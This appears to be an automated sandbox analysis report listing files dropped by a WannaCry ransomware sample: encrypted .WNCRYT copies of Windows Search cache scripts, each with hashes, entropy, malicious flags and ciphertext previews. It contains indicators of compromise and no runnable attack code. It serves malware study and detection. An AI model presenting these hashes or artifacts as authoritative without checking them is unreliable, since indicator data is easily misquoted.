                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):45256
                                                                                                                        Entropy (8bit):7.99619596740029
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:0py7vrihcvGfw0K5eTG8vhrD5b/ZXsLiTxl49BgK0ih1K6T62wzi9MmbnMSx7lNP:0pgrihcvN55eC8vhrDx/ZXsLiQ9mKYDy
                                                                                                                        MD5:CC71CD62B4D5A6FE5AA2DB1158945DED
                                                                                                                        SHA1:6FF6DEECC06F44B23F667A5FA6AED158D7A04F2C
                                                                                                                        SHA-256:0C671F214F685E9500B6927BC05E9FC0E41EC21DB1AC82D829D617A01300B406
                                                                                                                        SHA-512:70AC80DB538F959911FD0F3FD196F565CD874DAA9E7328373E09512656E68E874D11B0B258955ECE30E88401651270C751E1432977F32D9430505C3F0D1C0D55
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....3[..>.cq.U...{`..Ei_..*..B.]..p..Z...)V....k,.....<.c.I,........o......{...$..6...13.N........S85.T..F.j.;j......'x.8.j..m../*i.......:.......G.........([.d......E...be.%...rF.<.gE.t..8.....LC.8..B)...c....p..C4.._....{m......]..i.CW1.Ci(..-j................mt#..p...u..(_..V{.f..[.7.N..'....l....:.G.V..Z)Y.8......;..P.*F..s....:.X.....4O..D=..l...0..e...9.....S.B.....>x8a.a....K...h..........Q...|....+.j........U.a%.Q....=Go.,.. .@n..$UD.?LK.u..#...X=s....`j....sn.....>.K.tp1..[O/P.^............9...'..8Bd....g..~.}......|....o..HaHO.U....vs.....sJ.,..N...UZ.....Nw...:...x...6x.\.....Z...N....^.D.R..<.~.[.JU.~j_.2...8..W....q.P..&.|...A...zs.d..b w...N.D..xsR,E.h.....s.-...u}e.s........?...tf...,l.%bd...v..gcm......u.l..jC.uH..u...#.q4t..T....!....P_..&......RO.2...M...|.zsp9..\N.)j..-...z..\.N}...u.?......c..l..X..(........x..Hg.O...........TG....l....i.j...)....".!.-.\.=.}.4<....f....7.........1..!ng...kW.pVup.'......hL..^(.$.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\GW3DpE2qmyibnbFrEIzpiD0iGLk.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):776
                                                                                                                        Entropy (8bit):7.71939317854532
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk1W9zEy2n651C+rW/yOj+8StSsxlmTSE94D4Iv:bk1AzEy26LC+rIN+nSsxlmTSi4Dfv
                                                                                                                        MD5:046CC0B5A02563C2376F342655CAD570
                                                                                                                        SHA1:DA9D4F5DD2DB75989C2FAB6BE938F0408FA331CF
                                                                                                                        SHA-256:6F473B7C09AC27C4BE2F802C340AEB8793AF2308349BC91040265BAF17EDC4BE
                                                                                                                        SHA-512:CF43E5284D50242732E8AAD7261FE3A4912FD9E00D606655AA28B231074C61A42C512701E545C462E1E75C72CA4371A0DAF56008CA24A1EECD045129DE52A33E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....+..../.8;..f;........ 8ez`,.."D...K.2.......s9...5.h..g%w..".i.:gQ.U...O....I.[...At.j..v..d..5.Y.].b.mQ.%.gJ}.....M.x.j.H!D.8..vKmA..g...........].kK.x..?V1.P......_eq.+....w....#....3.2&T.m...[..7S...Q.............nC.Zs`...9qM..yH4.n..&.*...............a...5h.?...T.....3.5\....@...D...4.n..c..l.d.5B.......>...V...'..n5..|X.....lE@...B..Z....m#...-,.gPXn[y..2O7.O...OC..a.....V.}.t...J....P.|.Ce..hQE6......D). o..;.+g....h..../...#..09...D...<.....d)=..f..J13t.......h...5zn...(V.".4....3...V.z.^...=."....%..M.`...M....@Z.e..Ue2........\.+..e..;.c.:..1.c=......R.%,]...*.......=.o..,u3....Km3.d`&i.!..r..7.2i~AE...C..A?.a.;.o....\{S.G..X.(+.Uf.".q...2...zB%.....&. ....*!.RR...a..........B...s.ON.....d{.J..xP.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\Gvg_rvoUbIqmMQP7sgGFO3LCa-k.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):104008
                                                                                                                        Entropy (8bit):7.998333920239688
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:StcXGa2tQMkUYqM8CZdF1zOAIlB7LOC8/eV4SVLx5iTwxEdsm2eWeJSHn+IZFk+Y:xWa22v8KBN4B7VBVTifU2on+IZFk1
                                                                                                                        MD5:6568351DA77217439E0A795ACE2102CA
                                                                                                                        SHA1:94DE3D399337DE59157472C830FD3EBAD97800EB
                                                                                                                        SHA-256:F90C3F9DBF5159E9B7C68146AF037C11872E1C5EEA8F96B8DF4454EA85ED2DF6
                                                                                                                        SHA-512:45FB47E38DC45E930B60437EF8F42B2D192374794F7322F8609FC510D2F25887A8B8914B6B12715255CA542E078BCCC09A4295BE8B1107EEDD6478BB3EB9563F
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....\j....g3&...l..3..R&.b...".#.2..,*..!xjs.m.I.t.....(=G..N....1..z.......[>9.t..L...1....7..Fn.......W...~...m..z.Y....JR.......:..D.t........dsX.J...K7..O../..%....8..0%/.{W...$.E~fd.....<...)..\.N.....3{'E.....~:K...I.M!......u.9..kkV..(m...=....-.......,.........q95G.7..7.#@.....pe. C,.UV..N1..`p(t.k_\4S..p..(...........7....X.vD.F....3]eaH.y....u..F....D.i+\wV>!...)p.\.|..%/e.n.S..\......p..9.x.`..|..(!o.../.}U.Q...(.oP..d...."%[..........g.{-.b\l5..U3.t...:,l.T...O.G.r.O....%..\#H.Z.......I..&..df}.^.%6..aJ.s,.q..N$f.....o.m..4..Ya..l..|%....$3"..0&3C.(..=Ccm.z!...........6......(|o.].....sn.!.$.<.u&>..h.!.cV.=....b.( ..W.....~.,........mK..U~.bn........J..TXp#..A.._f.....y.x......AyE....3<+.RQ...@...*..}OX.........OR.......`..OZ.YO>..+.\...C.re...=?.|@4.Ur...R3R,!w....2.4..UH.7...oF...&{1+.Vmt.......k...Vi....'n.H5...f^...X..#....r.t.>B..:n..{Xx.wS...J.*.J.............7L,k...bN:C#M.j..C....Y..(.YS.m..D.xL.|..k.a.C+....n16..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\JBEweQ7VEIQ7Kw_-WmojxuJGAwk.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):132360
                                                                                                                        Entropy (8bit):7.9986540555638586
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:LQIUb//1r/1nmM5po9PLgYcACgK7Nt8l+J2jbT7F+5TvPZ/HRA+Y7yL:LpUjdr/CgYc5gm+4AbPA5DxJA+3L
                                                                                                                        MD5:7FAD2BEED8E259CD4C95F30F991D9F0C
                                                                                                                        SHA1:EC95E355926A97EA7DF7913D54A7D9557EF66CA4
                                                                                                                        SHA-256:AD27E6D71B1B39868BF97E0CEFE3A7D29CE8AAEA564FD46C2BD127C2BCAFDD24
                                                                                                                        SHA-512:FC906A1D2225BC4E87BD229852D45E1B88E6EB68B61E80455990B17D284DA7C285ABC7FE16ED72E4DE31B80B1C93D2FF4C1E522394DF3E1EA711E2A46DCA7F61
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......=[..&> ........?.o".|......../....n..-..@.%!......<.=.s...Y=L...$.....}.V.B.T>....1...Jn.....\.i......t,N.8.E8RaI....z..r.#..'{ze...V...u...v...Ev...Q.[R...H..A..|Wk.@.!CJQ...X<....A..$.8....8.p.@.....~..h`r|.....U..F..kE.7.....G..>`..00.............=.i........F......Vz.a>.....p.......%.L.^}..K.f.8.Y..P.G..C....5..F......P3f4.R.:..~r..d....Di...Q.].C..b..b..........3.r`.t......E.;...N...Dj!t.q.c.E..M..Y....K.-.K...E...g...e....I...lS....G.0v.f.,.....].hB.u.8.%..PufIW...*.nB...wR.F...f';...[&...4.&H.]..~...p>I'....F.{.3"....".Ai..._..i.....m..........i.1...6.....LD...../.....).Oe.P...M.pJJ....${...U...5..w..q.......]...MLJ;5.v!.2a..9...Sa...e......=....4/'..tG0.H?.%..;`.."wD..(....~+6i.'.j....$l....(...^.N.r.9n-.|...}q.sQm.8.3....Q...6RL...lb......ug....9..g.....0.{.O..(....,.7.#...5Qm.]W......3..E:.T.{..6.`.....JVT.>..c9.o.Y/..O.C.)s/.c.....'.p.....}.....~.;n.`$...G...$..9.?....<.].X..F...Sj.....i...!t.R?...X....YA.#...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\LkOR3edFNHZAiGTQV_AIwzLk9cA.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):378104
                                                                                                                        Entropy (8bit):7.99952734743688
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:xx6LkLlc1fffMRzM0Bq9M+GzMEuOlcTI2JJPtEri5LT3ssv08DIROh/hB21FWbJO:x95MXUhKtyoOeTIAJPtKMT3HHcOxhB23
                                                                                                                        MD5:2411E83D61D3DC96D7540B6DEE34F5E7
                                                                                                                        SHA1:1AEEF90B2DA25102FA2D2DD5399682F3C413E720
                                                                                                                        SHA-256:95FE3A8234CF9D897E08661B1F2413D4E226C9A7F9807F2450AA469840B9C114
                                                                                                                        SHA-512:0044DA3132BB4D4A11299824A2648F8EA81D5F6FCACF5579D34DE9E39090986B9E9D7C9DC68F6B37F86768A20CB364533796C4F950AA897E1FA3304D3A92B340
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....a:L..Mw.s .7.k...3B....{............(O.kz.....u....-.3.e..&G.....D.../....&W.......F{.x...}...Q1....TM.D..lb^...M^W$\t.9..b.h....@....9l.L........,|..D.{?.q.f=.ci#...O..&4..'.`v..(S{.B.......tQ#HW6..%.....z...g..q.e.L.w....q{..............<6(............\=...T..uX.~C-x;O}."l.....yS.#.ki]....,..I...f|..........8.m.....G..).u#6^.4V...,...d=.h.+q.]...i.....o..Y...7.......".......#....v..=i..2.(.....lp{d..."9...k.......H.2.#.>LA.....("..I\l.].. .bw...p...9wA=c.@....l..#g.R#..4=..5.$..Y....`.....{...$.6."..........n..>.NS^.K....j..........d...QL.C..o..%*..T.+#...$......J....8.../.....n.6..ts.}p..W.#....E.....@F;......62+sQ.&.F.Dj...c...X>B...r..d.x=..'...~........5G........2 .G..'....xbN...u.Z..C............@..S.U.....$..+}.3.r....Jz..<.V..s...{.(.Q<...M:....e......].2..C.es.|.&4L.UE.......!s4..z..p......C.....s..z.4O.......j.9.3._....AS...U[H..6.... ...|...Y..x..;..L..G..@.Sh/F....s.k*4...k...6...N.gJ.,.iL....Dj....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\MsMwRVfRlbSJUqukh4Niav8ixc4.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16968
                                                                                                                        Entropy (8bit):7.988640924652521
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:D7BvgW4ytPzuqCwbvdXWJCbrvjx1PYURJ:vBmA7zCSgCUkJ
                                                                                                                        MD5:AF2D92C38D3581D9BDEE992AC35B60C5
                                                                                                                        SHA1:F4B78520D6BB0A29B6629998017FF8CBB0CC0773
                                                                                                                        SHA-256:FF500B346886A9C3BF55B3230178ED5FD8EF46FBCF3AC52D810436FAE2323D18
                                                                                                                        SHA-512:8A59C576395A2B44F276E3D6BFEBB73D52369690A19F2E784FFA1B7159E21D796D2161A93B21DE1B5579898A07DDE6A7EB8AD0E5D8A92050C0E6361764164074
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......1...T.3.U.c..f.ik...BZ..P...... ...5..N...n.#.}....7.c....1...4..R..!.^.0.B..;..G@p.v.......mi.4,.j.........m~...)...o......S....@....E.$@..c^^.......B.; ....:.po&.1.B.."..... .K.UG.0..%T..f.k...*lPKj..S.<..].?>....F3A..`9H..JBt.x......O..dU.....(A...........=...F.a..m.....%...>.O&X......&R.*..m!..k1...^...I..I.,j.#...$.d.{x...H......{J.K..IN..H/!..s...?..P.......,P.(..S....{..(...?....^....i..._....W..GU.A......Ca^.!W|qFMS8%!.3...7g1..F\..>GU.@....Ln1.T..DA.C1.....(..=}o.A.;..&P.<......m.}..O.[..). ..4......j.b..6xw..W-...r.Y;..u.s..P.vh......L.....a;.7I.D\.3<..c..y(...$5...E.]....9H7w.......s.J.......e... .....3lV.)8w~...e..!,..`s..\O.".S..5..'....#..e\......P..I.GH.O<.8..Q..^.y.R....vY...d...2u:.....+..5.E?..a.A.J.=.i.l........^..:d}.Y..b....g..5E!..2..0.U.....\.fz ..U.Dj......[+..ZG..j..H...}.N.`".M......@..A.....r.iV...]B..5...\..`n....M;^...d..J)..w.2.p....$...Z.....\......Ivo.{.:..^...<..:..\.h..[....Q.K....,D..V.=.+.!.)I.D

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\ODQJiXAfzI_tRXKLb6nW4N2Wgkc.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):38024
                                                                                                                        Entropy (8bit):7.994653559211133
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:KVU7XZsNpmEKz8c+02/mTwu8hPMJG75IrS6A6DF4jhMlqs6uMUtEST:KopGYEU8c+0X8RMC5Ir5AgF4jhCqg3t/
                                                                                                                        MD5:C2C1BB3594566EEEEE1297404F2ECB54
                                                                                                                        SHA1:B0202FFEB6485644A9D09FF05111FD6F881A1CD5
                                                                                                                        SHA-256:AF67326485C9E3A5F1B960498294789AA7527C758486EBC4738AEC62D7BBD1AF
                                                                                                                        SHA-512:59910C0E27E4CE92BA359B7899EF65F9F84E8F452D62B51A1EEAFFA68016A41CE790154B3BD91AF5AF9E255371982F60F5AA26E1B69270135D6D6F92BD5EBA96
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......om.H..9Pp.......k....*......$.Z.rcC..v./.M:.[va.Cn%.{..bY.aw..1..I...*'fC)...a.UK..j......p.0>_C.f6.........q.8-.k .M..8....S.....wD&....R....N|...~P........@.(LV.....sv..m..m.._S..Q........*.w\!.D56..8h../..9F.{:..c..e;.Z..t.\.<'....d.H.';....i........j.G....y.8.......~X0c..<q|.W.[?.mR......1..|.Rp....3.#BARx.OM....n...c..Dh.&h...&....mGd...l..v...`/1.....<.6.N.QKv.M.V88.Q..<c..a=G..{..gd..V..1..S)...n7..m&..O.?......c.,.l....;.wi.....",....B../.+.R1.$E\~...fV.:O['....j#uW.m..L.W......E(QDwi.f...S........Y.7.....O.Um...|..6..l_j8.....GE.|..,AF...,t...Vn....w..8.@n.X......f.Y..Y6......'C..O.u..v/ .y..}oy......ai.3.aP.&...j8...S...,.!.pNz{\..6dD..Q...?nqH..l.qv....z^.......w...0.3....R\ZDF(.0.xI.x..\....3....I.....,B...s...VXN{.!.=PlO.b.R...n.($G.-.`...y.?UhKUp......0..?.`aw.p.^.E.$.e....S....R.....h.K.1TW.|..+..1f..)..`....V.0U/.q..r.....Cs@X....Q.sP.k..V.X0...$.YC...w.z.Z.K...##...Wk..b..3`... n2.:....n.s.....fW`...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\OponOoR_xVMUgjhuqYDZ3mHxjqQ.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):128840
                                                                                                                        Entropy (8bit):7.9985696752236874
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:foe1+tB4AhHB0QYe9Y+Gi4rQyGwJy3WqUM/6wZLccw:Qe1UBfZmQYSYC2FGay36wix
                                                                                                                        MD5:D3D55204A12F1A65E9142BE04623FB72
                                                                                                                        SHA1:88BD4FFB62412F632659A5099EC23EA8A3FA19FB
                                                                                                                        SHA-256:7F938C2217C2405B0CACDA4587BAB9A70D0B1A9D1BA2DBB9559CC74F01048823
                                                                                                                        SHA-512:4E4EA876B5DB135D1C67D9D4394E6642A3F15D23AC884EA9C58B115BECCF9E00AB94440B2F20F05300E55E9FD460BAF19A9E80AB53FD8E606E26DA5DDF5039A4
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......-meIi...V.H....}..sK...$n..&6...T. .d.....]..U.ad...t....4K.C......*W.^.$8s...;.H......_..(...Li...DX..,b.s..B..?..c.b..P+[.....*+..%..h...'fq?n..._...Hiu....i.YC.7...Q..`......X.nZs#..:..L.&cP........i....]..s+S.Z......0..%.I_...)s....,........A)gP..u..A..-...........Q..|J..M...^v.0..W.I....^...jz..J.>...<S..0$.c...S=.../.YGd..O...e..X3i......{+.6....F.`J.;.W@..JWP.W.)l:c. .v.}..}.}T....;...P..)..}...H..K.?.M&.V....8.o.dj...u.;...2g.yf..b0.\.:....U.rD7YRc......~}...X,.Z2..I..|."...[..?..6`.X.F"|`.N..3...|.XTNMJ....(..|..d.m.%^...m.....d.R{...>....f.2.q....H..{.9.r...O....c....(S....uD......N..E0.Fud....i.C.Rr...W5$k.j.sQc=.N.N...`;[/......}....'6............5.....a.py..0dQ%...2..]._.GW$s..I;2.p\o...y...:.2.N.Np.....oI.......^.~.K..(.&.....6 ~.. :T../..8W...{..O.......Hi%.Gk.ookI..pp]v....w.L.....d..L.d.lEQ.A.J.}.q......1...;.~0.......hU.e|s...TB.&.-.........M.(.m..t.:..J>>O..F..U.hOp..@64.._U.5.1Z..:w..e....0.a.jr

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\Swi4yFavETfuSZ9mHxnUvb4UdTw[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):22232
                                                                                                                        Entropy (8bit):7.9915462326500215
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:zJG0erj5/Kf/ZnrssSDPRvAy1ohltWCZwLwfK9kIZuSErLv6dz6RWPoisCsec6iA:cblmZnrslD2y1ohltrsavLKoisNeViA
                                                                                                                        MD5:5CA0EDABC462E5371EBCB01CEF3FDD14
                                                                                                                        SHA1:420D1C856DDA69521F9537D5AA1D73C0AAE258AC
                                                                                                                        SHA-256:C04D55C0D9DF477A61F5B1EFE6D8ECB615CAD55C27E60C1F52369DAAC5FF2CEE
                                                                                                                        SHA-512:9D60B906194DF70A6C7127BFF2A1897BC3A52532021C63B93591A0F59C6893F035E64B2BEDD854F8B1B7DD194AA91FEB0766CA33CEB08F6BAC5DCA898EC51D9F
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....@....P.....9@.|.0#...T'(.Z.t..l...C.......<.*.,.Q..j..BEh`R.......OPU...v~2..<.v...\...w.H="......?;.Ooj.....,;....".x>3....5X..H...E]..K..+o......G..e.z..w.............:.f@R..n.,.=.6..?...8.LzB.l.Z/%.....D[..D.`".\.x2.%.G.d.....1.(cA.'v...+.....U.......+..?DDf1..R@.....K.;i}..h....d1.g.cW.i..?C.}=7.W ..r~A..jC6...s^...]..).5..n;.N..3...GaA....%+9.]+;V.L|.......x%D!J...c......... ....+.u.8..x.v.L.tq..4.A4.Yk..2$.......a.c.Y...-_D..m..L5..,.k.....T.-}{H...Z...#....T.o}...Rw.h...d.....1^F|...6.p!LJu.W....n{.Q1."G.l...h../..gJ.%..2O..&.......M(....@.p'....g.;.$......8z.y8U9.(T...Z4q...c..=..T'&...SJ.Y4.g.......I.);..Z...r.YR..EO.....06.>..x..H.[..'...-1.)@@ @]......p;.0..#{OWN...lS4...<.V....^.O.c.}.P.~.......8..`...;b...........X...%...a....G......R...f;..Pgh...2...y.Ot..<;......:..S.l.9...r2.u...4<..v..U.].3..m..`..B..+"."1............$...|.e<$=.. ..R.<.3.y.....Z.. .o..};....T...u.xh......[.......A,N..{.iB.....l.3..l.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\TSWmPiqgJeOeqVpcQGn2rPnK6nI.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):133608
                                                                                                                        Entropy (8bit):7.998686529766846
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:HbGEUPLdl44ZZfMxqzjLlH8nrQyb24apSf4E9CDim5fa:HPyL4OnLlH8nkybxMw9CDim5C
                                                                                                                        MD5:A47788D92D3BFC62C3532AC5294ED97C
                                                                                                                        SHA1:5798BCB57FC5395AE803835AF177AAB479B92BDC
                                                                                                                        SHA-256:8F836185E407CE0BF6662C23B534160B33A8E97046D8A6315DD5324009430B3B
                                                                                                                        SHA-512:BD675BDF799CD29BE2A052E4CCE90F34E2C3B848D92E1BD3E86E6C5A685F6EF81E534AD2DAED0E10F8440DEF727068F6F63C48314BB69D337A93EB10512FA02D
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......%<.....IV.-.e.....~.G....4....>...........3`B.X.......3.U.....p.-..._.......ck..].aBS0.$....2....6...b...U.X.1....W;..{..1+......@.....r.)..C.9....T......7....t.-Q...@j.3.lG].q.j...ja.P............h..~.....u...!E.j....kX....'.Rch.G.9rt..t.2............'..|.m.Zf..P..).......3....N.;.........hZG..".Z,...9.J..S=....z.i...R....V..i7Vok.(o.#....I_,.pq.F.....(.%..>.{......?..k.J.-.43.l..h..(..G.}..Z........XUu.e...b%u.{-ol..d.7..p...[k\,.o.I.,z~^............Y.?.t.Z......09.oKPpn}e.....].7..|..p.%.....+jY.M........)....}..Ue.w......?..o.....0..]2w.....6P.....@.DM1Es..(.......0D.V.,.......".].+.....y..~.....6.uu...9......9..n.h)..Z.O[..........yD......vv...Nj...........uq?q...5....q....DX.M..8....ha.>.I...,..J<.....{..E.G).i]..k........-.2y..2'.......AF.PH|...Jz...f.._s.Z.v.n..u.......]n...........6.`.@.7.n.... ........Y....T..SL...K.:...-..Njt.@.pY..;6..M.Bi..|.a..k....'.^fvb.X.'......e....K4u.~..1....(S.7...aYm..I0.WR...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\VAX1sII3qFRuxa6jBngdjJY0DWo.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):11672
                                                                                                                        Entropy (8bit):7.985706190692684
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:uFLUDRDP1nWSB8CEqiZPtpURJ7vtuS8fpK0ELa3i3sAoN8Em8dYrw:uUPBABfuJWSaDJgSsw
                                                                                                                        MD5:AB9B94AA998C8A221796A992D164B999
                                                                                                                        SHA1:D2B483324B6AC369417F49DFB73DFE730C1CF8BD
                                                                                                                        SHA-256:CED38F1B1A28FE36DC61C03444B9AC1A601B00C1D01D0BAEA3E1B148FC1D8B22
                                                                                                                        SHA-512:6C4061C5A77DC7E579B83013A7540AD8A0074CF129081532D74F0384EAD6664BC5F6FE64D300052AC0A76A65272F7809F05E13953DCAE072DA0C2EA726D75198
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........j..g......^s?.....x2.. .C.....).+....1.E.."...!.e......;.`r.....@y.{....E..0d....k|..3x.U!........l..O.g..7h....u!.%.t....-wC.?...J<...PR...Dn.G(T..W...~..p<.S.....M.s....8...e.M........H..}.b.B` ...5.I...5.{LR...m......wb.=CgD.....*.>.....,......#...H....=W%.}.XE...&Mj&.EYd 6..Ojp.g...9i...a..J.6y..*....K.........@`..................?.N.;.....1.T..-I.b<..x".%./._..S..I.3.*$..%.3[e2\e.5..>.......t.SQ.,..`..6.5d.V._n(."..d8...i.....&.#.3H.=.p>.;.7.a...t.2...A6.V..e..:W.......Z...a..9.K.....9oD.},}....}.l..B.=K....)$s..)....F..GG.../._..6..0.s..P...!...S....zw....!....5...@...ZW.dA}a....d..k.%v.fR{.^.c...{"...)..bbg:}C..l.xK.l..B&..:C..)6."..... )QmG...uO9...........+.)+*;g...-..x6C..IW...&.f.R@..Z.*hY.....j[.2B..v.u....\&Q.^v.y..7.k.Bm.......b.S.U*....{>..Y M..4G..Q..5.h.1.....b1...9i..M......{y.....(......y......k..AD.x.yX#.....M.=.y.vC..E.R.I..l....?+>..~......M..G.c.j.....ER.......p.Su]2/.{j.=...E.W.:...Z..u..eU..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\VrAE8CZ_PJkn0hgh2rwA1uThjyE.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):734520
                                                                                                                        Entropy (8bit):7.999769444425463
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:wm1EJlQkdd2Je2lmm6EEyaK1KrYVv5B/HS8LEeLF2HHYgrgDxchqJcWqH/X:d1EJlUJNmpneKrMueR2HHhrgNcQJc/X
                                                                                                                        MD5:ED8471D5DBE792E08161A733E2A86CD2
                                                                                                                        SHA1:5F7C2AADDB6A36A2D9BA3EA3DA1581C42C02BD5E
                                                                                                                        SHA-256:A449B21E4991CBE860DA66BD7BBD986FF482B5AC6F80BBCBAC3A8E43A1D85584
                                                                                                                        SHA-512:FE32A655E5EEB89CDE14B8CBCE431F00FF7BB431EFCAE97631AB2E4D47CC9914452E50EF3516163DF1A111FEA169D274E1601F39E7866C54AE8EF0377627FB0C
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....vB.z_........E...!R.'..;....4#b.!8N.4qt+7;9...%.t.-....z.:jw.0f......i.oi.HV....../..d.0........$6.x).EF\..^c.@A.Y..*..\..g..).y.Z.....&.?V.K."...6.3^T.P>."....'F:.3.l.t\.=#S..B.....+(.u.+...8.....,.,.7..-{...!6..n.....'.yp.T.3..X.5.<(g....M.....4........1o..C..3.........H.......#K..@..#.....h.r..{....@Rz.".'.y....x.....;(z...L..N.,ZbL#.3J.Y.3"..*.....>|./3.5..[r....P.O&.......OCM.4..:n.......N....%......r....%;@...Ug..'~.c......2$#..[.h...+5...Z.r .q.......I......jQV..BX..2>....W`.`.Yn.%.VE.0...C.....W.....eR...m..r..T.....=v...{o.n.....sc[(..$....(<}.......u.>./a.H..N...t.v..w..$...."{.<D.U.a..pzc...\...L... ..8.i...w.1w.]..W.9.t.....2..........u7.y....7..WSH..(/#....s....c.&.3.`...By...................4Dz..@bj..Vm.%.8.F...i..._.]...."...L[.eN!..2...\..+-....]...kU..i..]k..c..&.."...p".?8..|...P...f$A.m..ZU1.....G..xg...e..c..K.k......qZ.2.....G........up*....Tc.L_...+[.8..+..`.|.....%.;...$.o....tp..\+W.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\WMcG8NocIziwNYlfUEia3QDjwaM.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):168584
                                                                                                                        Entropy (8bit):7.998821241532181
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:Taf3djpfo3Use57I6pI614RIFDnT1hdcdYuarIBzkJ05nH4f+yyhhm:Wp+IK6iXRIFDnT1vPpC8EH4fZyh0
                                                                                                                        MD5:7F1BA0449265FF24CF51EA99C66E2E8E
                                                                                                                        SHA1:482C08678B882F940A28B88817AFC008192ECEC7
                                                                                                                        SHA-256:9ACA0354007BDE1E152AFC66DFFE2113B5A056F5838CB6C25741D3FE78C8D1F3
                                                                                                                        SHA-512:585B84011B2DA1AB8FF9BD9503AD6DCE6F3AE267CA70D8676CA661C4CD1A2542A70673B70028767B53DA9036E0497D6EF212A32C08823136D31CC83788582B16
                                                                                                                        Malicious:true
